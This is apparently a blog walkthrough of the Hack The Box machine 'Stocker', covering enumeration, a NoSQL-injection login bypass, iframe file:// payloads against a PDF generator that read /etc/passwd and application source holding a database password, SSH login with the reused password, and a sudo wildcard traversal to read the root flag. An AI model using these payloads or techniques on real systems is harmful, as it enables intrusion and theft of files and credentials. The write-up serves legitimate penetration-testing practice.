HTB Stocker Walkthrough
Simple BOX on both flags, much more root than the user, still fun and great for beginners.

Simple BOX on both flags, much more root than the user, still fun and great for beginners.
The nmap scan:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-10 15:46 EST
Nmap scan report for 10.10.11.196
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.85 seconds
It can be said that only port 80 of the portal is available. Directly towards the goal, then. Let's put stocker.htb in the /et/hosts file and take a look at the portal. It seems to be an e-commerce portal (but there don't seem to be any functional features), let's immediately identify a possible user "Angoose Garden, Head of IT at Stockers Ltd", keep that in mind. Let's scan with dirb, looking for hidden routes.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ dirb http://stocker.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Feb 10 15:57:51 2023
URL_BASE: http://stocker.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://stocker.htb/ ----
==> DIRECTORY: http://stocker.htb/css/
+ http://stocker.htb/favicon.ico (CODE:200|SIZE:1150)
==> DIRECTORY: http://stocker.htb/fonts/
==> DIRECTORY: http://stocker.htb/img/
+ http://stocker.htb/index.html (CODE:200|SIZE:15463)
==> DIRECTORY: http://stocker.htb/js/
Nothing interesting, let's try subdomains.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ wfuzz -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -H "Host: FUZZ.stocker.htb" --hh "178" http://stocker.htb/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://stocker.htb/
Total requests: 5000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 302 0 L 4 W 28 Ch "dev"
000002700: 400 7 L 12 W 166 Ch "m."
000002795: 400 7 L 12 W 166 Ch "ns2.cl.bellsouth.net."
000002883: 400 7 L 12 W 166 Ch "ns1.viviotech.net."
000002885: 400 7 L 12 W 166 Ch "ns2.viviotech.net."
000003050: 400 7 L 12 W 166 Ch "ns3.cl.bellsouth.net."
000004082: 400 7 L 12 W 166 Ch "jordan.fortwayne.com."
000004081: 400 7 L 12 W 166 Ch "ferrari.fortwayne.com."
000004083: 400 7 L 12 W 166 Ch "quatro.oweb.com."
Total time: 58.97300
Processed Requests: 5000
Filtered Requests: 4991
Requests/sec.: 84.78454
Bingo, let's add dev.stocker.htb to the /etc/hosts file and browse the new portal. This time we find something, a login form, probably managed by a back-end in node.js.


I make some first attempts, but it doesn't seem to be vulnerable to standard SLQi (SQL injection) attacks, even sqlmap doesn't find anything. In addition to the technologies already mentioned, there is also the HUGO framework. I investigate.

This is a framework for creating portals, but it doesn't seem to help me. Let's keep that in mind, we'll come back to it later if necessary. Let's do another session with the dirb on this second domain as well.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ dirb http://dev.stocker.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Feb 10 17:02:28 2023
URL_BASE: http://dev.stocker.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://dev.stocker.htb/ ----
+ http://dev.stocker.htb/login (CODE:200|SIZE:2667)
+ http://dev.stocker.htb/Login (CODE:200|SIZE:2667)
+ http://dev.stocker.htb/logout (CODE:302|SIZE:28)
+ http://dev.stocker.htb/static (CODE:301|SIZE:179)
+ http://dev.stocker.htb/stock (CODE:302|SIZE:48)
-----------------
END_TIME: Fri Feb 10 17:11:25 2023
DOWNLOADED: 4612 - FOUND: 5
Again nothing, I have to bypass the login first. Let's go over what we did a bit and understand. Reviewing the past steps, it occurs to me that it is probably not an SQLi attack that is needed, but NOSQLi. And here I have to admit that I had some difficulty, not in the search for the vulnerability, but in the use of the tools, where once again, the fact was revealed that doing it manually brings its benefits, but let's proceed step by step and so here are my stubborn mistakes in the desire to use existing tools (because I am convinced that they work better than I can do), to find than the right path in that manual activity which has always paid off.
After a myriad of additional packages to install, I finally succeed, with python 2.7 and pip 2.7. Here's how to install pip 2.7:
$ wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
$ sudo python2.7 get-pip.py
Finally, the launch of the NOSQLi vulnerability scan command.
python2.7 nosqlmap.py --attack 2 --platform CouchDB --https OFF --webPort 80 --victim dev.stocker.htb --uri /login --httpMethod POST --postData username,1,password,2 --injectedParameter 1 --injectSize 20
Despite everything, nothing emerges for the two most popular NOSQL databases; mongodb and couchdb. Let's go ahead, let's rely on the best-stocked portal of tricks we know at the moment...

...and find another couple of interesting tools.
Again, however, they don't seem to work for me. I decide on a few manual steps, so the BurpSuite is a must.

Here's the call to login, still referring to the hacktricks guidelines, I start going through all the listed payloads and finally find the right one.

And finally, we are in. Now I can buy and request a receipt. The invoice is returned in pdf format, there must be a conversion process. Need to understand which tools are being used to make the conversion. so let's download the pdf and take a closer look at the metadata.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.196 - Stocker (lin)/attack/dwnl]
└─$ exiftool 63f7d52e1c39f5e32db2f22c.pdf
ExifTool Version Number : 12.55
File Name : 63f7d52e1c39f5e32db2f22c.pdf
Directory : .
File Size : 38 kB
File Modification Date/Time : 2023:02:23 16:07:11-05:00
File Access Date/Time : 2023:02:23 16:08:04-05:00
File Inode Change Date/Time : 2023:02:23 16:08:04-05:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Tagged PDF : Yes
Creator : Chromium
Producer : Skia/PDF m108
Create Date : 2023:02:23 21:06:00+00:00
Modify Date : 2023:02:23 21:06:00+00:00
The producer field provides us with the necessary information, so I search for "skia/pdf exploit" and immediately a series of interesting links are revealed to my eyes.

Ok, the portal cart seems to have remained full, it is not emptied after the purchase, which could make my life easier. Let's see if I can modify the data inside it in a simple and fast way.

The products are placed in a javascript array named basket. Just change the information contained therein and make a new purchase. Let's start by passing the most classic payload, just to understand if the vulnerability actually exists: <iframe src=file:////etc/passwd>.

When you open the cart again, the set payload appears.

And when we go to download the invoice, the magic happens.

To view it better, expand the context of the iframe, but don't go beyond 1000 pixels for the height, the conversion seems to fail: <iframe width='1200' height='700' src=file:////etc/passwd>.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:112:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
Do you remember the name of the Head of IT? Ok, needless to say, I immediately tried to reach the user flag file (<iframe width='1200' height='700' src=file:////home/angoose/user.txt>), but obviously to no avail. At this point the only thing I can do is go look for interesting files such as configuration files, DB connection, credentials, etc... Let's focus on the technologies that we had identified with the wappalyzer.

Trying with <iframe width='1200' height='1000' src=file:////etc/nginx/nginx.conf>:

I'd like to see a few more lines of the file, but I think this could be a good starting point; the path in which the portal is published. Let's cross this information with the fact that the back-end is in node.js and we can try to retrieve the most common filenames used for a project like this: app.js, server.js and index.js.
Even these little things sometimes make an attack simple for the hacker, always change settings like these, just to make the attack of a hypothetical hacker a little more complicated.
And using <iframe width='1200' height='1000' src=file:////var/www/dev/index.js>:
[...]
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
[...]
app.post("/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) return res.redirect("/login?error=login-error");
// TODO: Implement hashing
const user = await mongoose.model("User").findOne({ username, password });
if (!user) return res.redirect("/login?error=login-error");
req.session.user = user.id;
console.log(req.session);
return res.redirect("/stock");
});
[...]
In addition to the mongodb address, in which the application user's credentials are evident, I have also reported the block of code used to login, in which the point where we attacked via the NOSQLi payload is visible. It's evident that there is not a dev user who has access via shell, but knowing the nature of the BOX, we can easily apply the password to the one that can use a shell from the list of users (/etc/passwd) obviously excluding the user of root.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.196 - Stocker (lin)]
└─$ ssh [email protected]
The authenticity of host '10.10.11.196 (10.10.11.196)' can't be established.
ED25519 key fingerprint is SHA256:jqYjSiavS/WjCMCrDzjEo7AcpCFS07X3OLtbGHo/7LQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.196' (ED25519) to the list of known hosts.
[email protected]'s password:
Last login: Sun Feb 26 08:00:16 2023 from 10.10.14.45
-bash-5.0$ whoami
angoose
-bash-5.0$ pwd
/home/angoose
-bash-5.0$ ls -la
total 76
drwxr-xr-x 7 angoose angoose 4096 Feb 26 08:05 .
drwxr-xr-x 3 root root 4096 Dec 23 16:39 ..
drwxrwxr-x 2 angoose angoose 4096 Feb 26 04:18 aaaa
lrwxrwxrwx 1 root root 9 Dec 6 09:54 .bash_history -> /dev/null
-rw-r--r-- 1 angoose angoose 220 Dec 6 09:53 .bash_logout
-rw-r--r-- 1 angoose angoose 3771 Dec 6 09:53 .bashrc
drwx------ 2 angoose angoose 4096 Feb 26 02:06 .cache
-rw-rw-r-- 1 angoose angoose 86 Feb 26 04:32 exploit.js
-rw-rw-r-- 1 angoose angoose 205 Feb 26 04:32 exploit.js.bak
-rwxr-xr-x 1 angoose angoose 3123 Feb 26 04:10 index.js
drwxrwxr-x 3 angoose angoose 4096 Feb 26 02:11 .local
lrwxrwxrwx 1 angoose angoose 32 Feb 26 04:09 node_modules -> /usr/local/scripts/node_modules/
drwxrwxr-x 3 angoose angoose 4096 Feb 26 04:18 .npm
-rw-r--r-- 1 angoose angoose 807 Dec 6 09:53 .profile
-rwxr-xr-x 1 angoose angoose 623 Feb 26 04:10 schema.js
-rwxr-xr-x 1 angoose angoose 367 Feb 26 04:11 script.js
drwxrwxr-x 2 angoose angoose 4096 Feb 26 05:35 temp
-rw-r----- 1 root angoose 33 Feb 25 21:21 user.txt
-rw------- 1 angoose angoose 9506 Feb 26 08:05 .viminfo
-bash-5.0$ cat user.txt
7******************************7
-bash-5.0$
And first flag was captured, next step is really very fast, not even an advanced scan was needed. Let's look at what this user can do as root without a password.
-bash-5.0$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
Apparently, we can run node scripts contained in a particular folder. That asterisk, however, highlights an unequivocal traversal path. So I prepare my malicious script. I initially tried to spawn a shell as root, but quickly reverted (child_process didn't seem to work), so I chose a script that simply reads the root flag file.
-bash-5.0$ vi /tmp/getFlag.js
-bash-5.0$ cat /tmp/getFlag.js
const fs = require('fs');
const filePath = '/root/root.txt';
fs.readFile(filePath, 'utf8', function(err, data) {
if (err) throw err;
console.log(data);
});
-bash-5.0$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/getFlag.js
2******************************7
And that's all folks, see you soon my readers and happy hacking activities.